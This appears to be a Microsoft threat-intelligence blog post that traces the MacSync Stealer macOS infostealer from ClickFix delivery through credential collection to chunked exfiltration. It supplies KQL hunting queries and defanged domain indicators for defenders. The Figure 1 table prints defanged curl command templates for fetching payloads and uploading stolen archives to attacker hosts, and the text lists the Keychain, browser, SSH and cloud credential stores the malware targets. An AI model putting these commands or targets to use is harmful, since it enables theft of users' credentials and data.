MacSync Stealer is a macOS-focused information stealer that relies on changing infrastructure to deliver payloads, communicate with compromised devices, and exfiltrate data. Earlier reporting by RST Cloud identified the threat through a limited set of domains and documented rapid command-and-control (C2) replacement after public disclosure.
Microsoft Defender Experts expanded that view by correlating recurring endpoints and network behaviors across the activity. This behavior-led approach connected more than 30 domains and showed that the infrastructure supported more than C2 communication, extending into active collection, staging, and exfiltration. The findings demonstrate that although domains may rotate quickly, repeated execution patterns, request characteristics, staging behavior, and upload methods provide defenders with more durable opportunities to investigate MacSync Stealer activity.
Microsoft Defender Experts reviewed endpoint and network telemetry to determine which MacSync Stealer behaviors persisted as infrastructure changed. The investigation followed the activity from C2 communication through collection, staging, and exfiltration, using recurring technical traits to connect activity across rotating domains. Execution began from an interactive shell session consistent with ClickFix social engineering, where users are tricked into pasting or running commands in Terminal. The shell session used curl to retrieve attacker-controlled payload content, followed by script-driven execution and outbound communication.
After execution, the malware communicated with attacker-controlled infrastructure using recurring URI paths, macOS User-Agent strings, API-key headers, and curl command-line options. These request traits became durable behavioral pivots because they remained consistent even as domains changed. The activity then progressed into collection behavior targeting macOS Keychain material, browser data, locally stored credentials, cloud and Secure Shell (SSH) credentials, and sensitive files from common user directories.
The investigation also confirmed active data exfiltration, not just beaconing. Collected data was staged under temporary paths, compressed into an archive, split into chunks, and uploaded through HTTP PUT requests using curl with the –data-binary argument. Upload parameters such as upload_id, chunk_index, and total_chunks provided additional hunting opportunities that could be correlated with process, command-line, file, and network telemetry across the attack chain.
To identify related MacSync Stealer infrastructure, Microsoft Defender Experts required multiple endpoint and network behaviors to align before treating a domain as connected. Correlation focused on recurring traits across payload retrieval, C2 check-in, and exfiltration, including process ancestry, command-line patterns, request paths, headers, and upload parameters. Applying this standard linked more than 30 domains, making the domain count an outcome of the behavioral methodology rather than the primary finding.
The strongest pivots combined network request shape with endpoint execution context. Related infrastructure shared recurring URI patterns such as /curl/, /dynamic?txd=, and /gate?buildtxd=; curl command lines using -k, -s, –max-time, and –data-binary; macOS User-Agent strings; API-key headers; and HTTP PUT uploads that included upload_id, chunk_index, and total_chunks parameters. RST Cloud used recurring URI patterns to surface eleven additional candidate domains and found a static API-key value shared across four confirmed C2 domains while the build token rotated per deployment. Domains were treated as related when multiple behavioral traits aligned across process, command-line, and network telemetry, reducing reliance on any single domain indicator.
This finding reinforces a practical defender lesson: rotating infrastructure can weaken static domain blocking and retrospective IOC matching, but repeated request patterns and process behaviors create durable hunting opportunities. Figure 1 shows representative defanged command-line patterns used as pivots across payload retrieval, C2 check-in, and chunked upload activity.
| Phase | Representative behavioral pivot | Why it matters |
| Payload retrieval | curl -kfsSL hxxp://[domain]/curl/[token] | Identifies the initial payload retrieval pattern without depending on a single domain. |
| C2 check-in | curl -k -s –max-time 30 -H “User-Agent: Mozilla/5.0 (Macintosh…)” -H “api-key: **********” hxxp://[domain]/dynamic?txd=[token] | Combines endpoint command-line context with recurring request shape, headers, and URI paths. |
| Chunked exfiltration | curl -k -s -X PUT –data-binary @- -H “api-key: **********” hxxp://[domain]/gate?buildtxd=[token] &upload_id=[id]&chunk_index=[n]&total_chunks=[n] | Shows active data exfiltration and provides durable upload parameters for hunting across domains. |
Figure 1. Representative behavioral pivots associated with MacSync Stealer payload retrieval, C2 check-in, and chunked HTTP PUT exfiltration.
The same behavioral patterns used to identify additional infrastructure also map to the broader end-to-end activity observed on affected macOS devices.
The observed MacSync Stealer activity followed a fast, script-driven attack chain designed to execute quickly on macOS, collect high-value local data, stage the results, and exfiltrate the archive through rotating web infrastructure. This sequence matters because each phase produces telemetry that can be correlated across processes, command-line, file, and network events. Rather than relying on any individual domain, defenders can track the chain through recurring execution tools, URI paths, staging locations, and upload parameters.

| Phase | Observed behavior | Hunting value |
| Payload retrieval | Interactive shell launches curl to retrieve staged payload content. | Correlate shell ancestry, curl command lines, and /curl/ retrieval paths. |
| C2 check-in | Requests use recurring URI paths, macOS User-Agent strings, and API-key headers. | Track request shape across domains instead of matching domains alone. |
| Collection and staging | Credential, browser, cloud, SSH, and user-file data is collected and archived. | Look for sensitive-file access followed by archive creation under temporary paths. |
| Chunked exfiltration | curl uploads staged archive chunks using HTTP PUT and –data-binary. | Hunt for upload_id, chunk_index, total_chunks, and /gate?buildtxd= patterns. |
| Cleanup | Temporary archives, staging folders, and lock files are removed. | Correlate deletion activity with preceding collection and outbound upload events. |
Figure 2. MacSync Stealer attack chain showing payload retrieval, AppleScript-assisted execution, collection, staging, chunked exfiltration, and cleanup mapped to behavioral hunting opportunities.
Observed execution began from an interactive zsh terminal session, where curl retrieved payload content over a /curl/ path before the payload was decoded or unpacked using native utilities such as Base64 and gunzip. This phase is useful for hunting because the combination of user-facing shell activity, curl retrieval, and unpacking behavior is more durable than any single download domain.
The payload used osascript to run AppleScript-assisted shell commands, blending macOS scripting with Unix command-line tooling. Observed activities included sh, cp, rm, curl, mkdir, and killall operations. This phase creates hunting value when osascript launches shell activity that quickly chains into network communication, staging, or cleanup behavior.
After execution, the malware collected host and user information, enumerated running processes and system details, and checked for cryptocurrency wallet applications, including Ledger and Trezor-related local artifacts. It then targeted macOS Keychain material, browser Safe Storage keys, browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, extension storage, Safari data, Apple Notes, SSH keys, AWS credentials, Kubernetes configurations, browser profiles, browsing history, and sensitive files from common user directories. The hunting value comes from correlating sensitive data access with the later staging and upload sequence.
Collected data was staged under /tmp/sync* paths and compressed into /tmp/osalogging.zip before uploading. The archive was split into multiple chunks, creating a repeatable staging and transfer pattern that defenders can correlate with preceding collection behavior and subsequent outbound curl traffic.
The staged archive was uploaded through rotating infrastructure using curl and HTTP PUT requests. Observed requests included –data-binary, API-key headers, macOS User-Agent string, upload_id values, chunk_index values, and total_chunks parameters. These upload traits confirmed active data exfiltration and provided durable hunting pivots even when domains rotated.
After exfiltration, the malware removed temporary archives, staging folders, lock files, and other artifacts. Although this cleanup reduced on-disk evidence, the sequence of archive creation, chunked upload, and deletion can still provide a useful behavioral correlation for defenders.
The attack chain findings point to three mitigation priorities.
In macOS 26.4 and later, Apple introduced protections designed to disrupt ClickFix-style attacks, including warnings that can block potentially malicious Terminal pastes and XProtect checks that can prevent detected malicious scripts from running.
When a user attempts to paste a potentially malicious command into Terminal, macOS displays a warning that blocks the paste and explains that scammers may use Terminal instructions to compromise the Mac or the user’s privacy.
“Possible malware, Paste blocked”
“Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.”
Organizations can also follow these recommendations to mitigate threats associated with this threat:
Microsoft also recommends the following mitigations to reduce the impact of this threat.
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
| Tactic | Observed activity | Microsoft Defender coverage |
| Execution | User-initiated shell activity retrieves payload content with curl. Payload content is decoded or unpacked using base64 and gunzip. AppleScript and shell commands are executed through osascript and native macOS utilities. | Microsoft Defender for Endpoint – Suspicious shell command execution – Obfuscation or deobfuscation activity – Executable permission added to file or directory – Suspicious AppleScript activity – Suspicious piped command launched – Suspicious file or information obfuscation detected Microsoft Defender Antivirus |
| Data Collection | Malware collects browser credentials, cookies, session data, Keychain-related material, cloud credentials, SSH keys, Apple Notes, browser profiles, browsing history, and sensitive files from common user directories. Collected data is staged and archived before upload. | Microsoft Defender for Endpoint – Suspicious access of sensitive files – Suspicious process collected datafrom local system – Enumeration of files with sensitive data – Suspicious archive creation – Suspicious path deletion Microsoft Defender Antivirus |
| Defense Evasion | Malware decodes or unpacks payload content and removes temporary archives, staging folders, lock files, and other artifacts after exfiltration. | Microsoft Defender for Endpoint – Suspicious path deletion – Suspicious file or information obfuscation detected |
| Credential Access | Malware accesses Keychain-related material, browser Safe Storage keys, browser credential stores, locally stored credentials, SSH keys, and cloud credential files. | Microsoft Defender for Endpoint – Suspicious access of sensitive files – Unix credentials were illegitimately accessed |
| Exfiltration | Malware uploads staged archive chunks using curl with HTTP PUT, –data-binary, API-key headers, macOS User-Agent strings, upload_id, chunk_index, and total_chunks parameters. | Microsoft Defender for Endpoint – Possible data exfiltration using curl Microsoft Defender Antivirus |
Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat, malicious activity, infrastructure, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
From ClickFix to code signed: the quiet shift of MacSync Stealer malware.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.
The following advanced hunting queries can help identify MacSync Stealer behaviors observed with this threat. Use these queries as starting points and tune the time range, device scope, and allowlists for your environment.
Hunting objective: Identify rotating infrastructure by request shape
This query looks for curl-initiated network activity that matches recurring MacSync Stealer URI paths and upload parameters across domains.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where RemoteUrl has_any ("/curl/", "/dynamic?txd=", "/gate?buildtxd=", "upload_id=", "chunk_index=", "total_chunks=")
Hunting objective: Detect payload retrieval over /curl/
This query focuses on initial payload retrieval behavior where curl reaches a /curl/ path, helping identify delivery activity without relying on a specific domain.
DeviceNetworkEvents | where InitiatingProcessFileName =~ "curl" | where RemoteUrl has "/curl/"
Hunting objective: Detect chunked exfiltration over curl HTTP PUT
This query targets active exfiltration behavior by looking for curl HTTP PUT uploads that use –data-binary and chunked upload parameters.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary")
| where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=")
Hunting objective: Find curl command lines with MacSync infrastructure traits
This query searches endpoint process telemetry for curl command lines containing the headers, URI paths, and upload parameters used as durable behavioral pivots.
DeviceProcessEvents
| where FileName =~ "curl"
| where ProcessCommandLine has_any ("api-key", "/curl/", "/dynamic", "/gate", "--data-binary", "upload_id=", "chunk_index=", "total_chunks=", "%{http_code}")
Hunting objective: Identify AppleScript-launched shell activity
This query looks for osascript activity that launches shell commands or native utilities commonly seen in the observed post-execution chain.
DeviceProcessEvents
| where FileName =~ "osascript"
| where ProcessCommandLine has_any ("sh -c", "cp ", "rm ", "curl ", "mkdir ", "killall", "dscl")
The following MITRE ATT&CK mappings reflect behaviors observed during the MacSync Stealer investigation. The mapping emphasizes the same behavioral pivots used throughout this blog, including shell and AppleScript-assisted execution, payload retrieval, credential and browser data theft, sensitive file collection, staging, chunked exfiltration, cleanup, and rotating infrastructure.
Execution
Discovery
Credential Access
Collection
Command and Control
Exfiltration
Defense Evasion
The following command-line patterns, URL paths, and URL parameters were observed in activity consistent with MacSync Stealer. Use these durable behavioral pivots with process and network context to investigate related activity as infrastructure rotates; then use the point-in-time domain indicators in the IOC section to enrich and validate those findings.
| Indicator | Type | Description |
| -H “api-key:” | Command-line parameter | API-key header request pattern used in MacSync Stealer C2 communication. |
| -H “User-Agent: Mozilla/5.0 (Macintosh” | Command line parameters | macOS User-Agent string used in outbound requests associated with the activity. |
| -w %{http_code} | Command line parameters | Curl output pattern used to capture HTTP response codes during upload attempts. |
| -X PUT –data-binary | Command line parameters | HTTP upload pattern associated with data-transfer and exfiltration behavior. |
| curl -k -s –max-time | Command line parameters | Curl-based C2 check-in pattern that suppresses output, bypasses certificate validation, and limits connection time. |
| /curl/ | URL path | Payload retrieval path observed in MacSync Stealer command-line activity. |
| /dynamic?txd= | URL path | Recurring MacSync Stealer URI pattern used for C2 and infrastructure hunting. |
| /gate?buildtxd= | URL path | Recurring MacSync Stealer URI pattern associated with chunked HTTP PUT data exfiltration. |
| chunk_index= | URL parameter | Chunk index parameter observed in repeated upload requests. |
| total_chunks= | URL parameter | Total chunk count parameter observed in chunked upload activity. |
| upload_id= | URL parameter | Upload session parameter observed during chunked data-transfer activity. |
The following domain indicators were observed in activity consistent with MacSync Stealer. Treat them as point-in-time evidence: use them to enrich and validate matches from the behavioral pivots above, and correlate any hits with process and network context because related infrastructure may rotate quickly.
| Indicator | Type | Description |
| aihealthring [.]com | Domain | Domain observed in activity consistent with MacSync Stealer; use matches to enrich and validate findings from the behavioral pivots above, correlated with process and network context. |
| cabinrentalsnc [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| chatbasedos [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| commercialroofingsd [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| dogtrainersgeorgia [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| fintelliganceai [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| homeinspectionsdelaware [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| intopython [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| lalandscapelighting [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| lumenagnet [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| marbellaresales [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| miamipcsupport [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| moldinspectiondayton [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| nailscanai [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| newjerseypetsitter [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| numericagent [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| oaklandwaterdamage [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| oklahomawarehousing [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| olympiapetemergency [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| peaecagent [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| plasmaticsystems [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| plethorawallet [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| premierrentalpurchase [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| ricewaterbeauty [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| rvieragent [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| sandiegotkd [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| secueragent [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| shiledagent [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| syracusefertilitycenter [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| vastbets [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
| wvaeagent [.]com | Domain | Related MacSync Stealer infrastructure identified through behavioral hunting. |
References used for external context and related defensive guidance:
For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.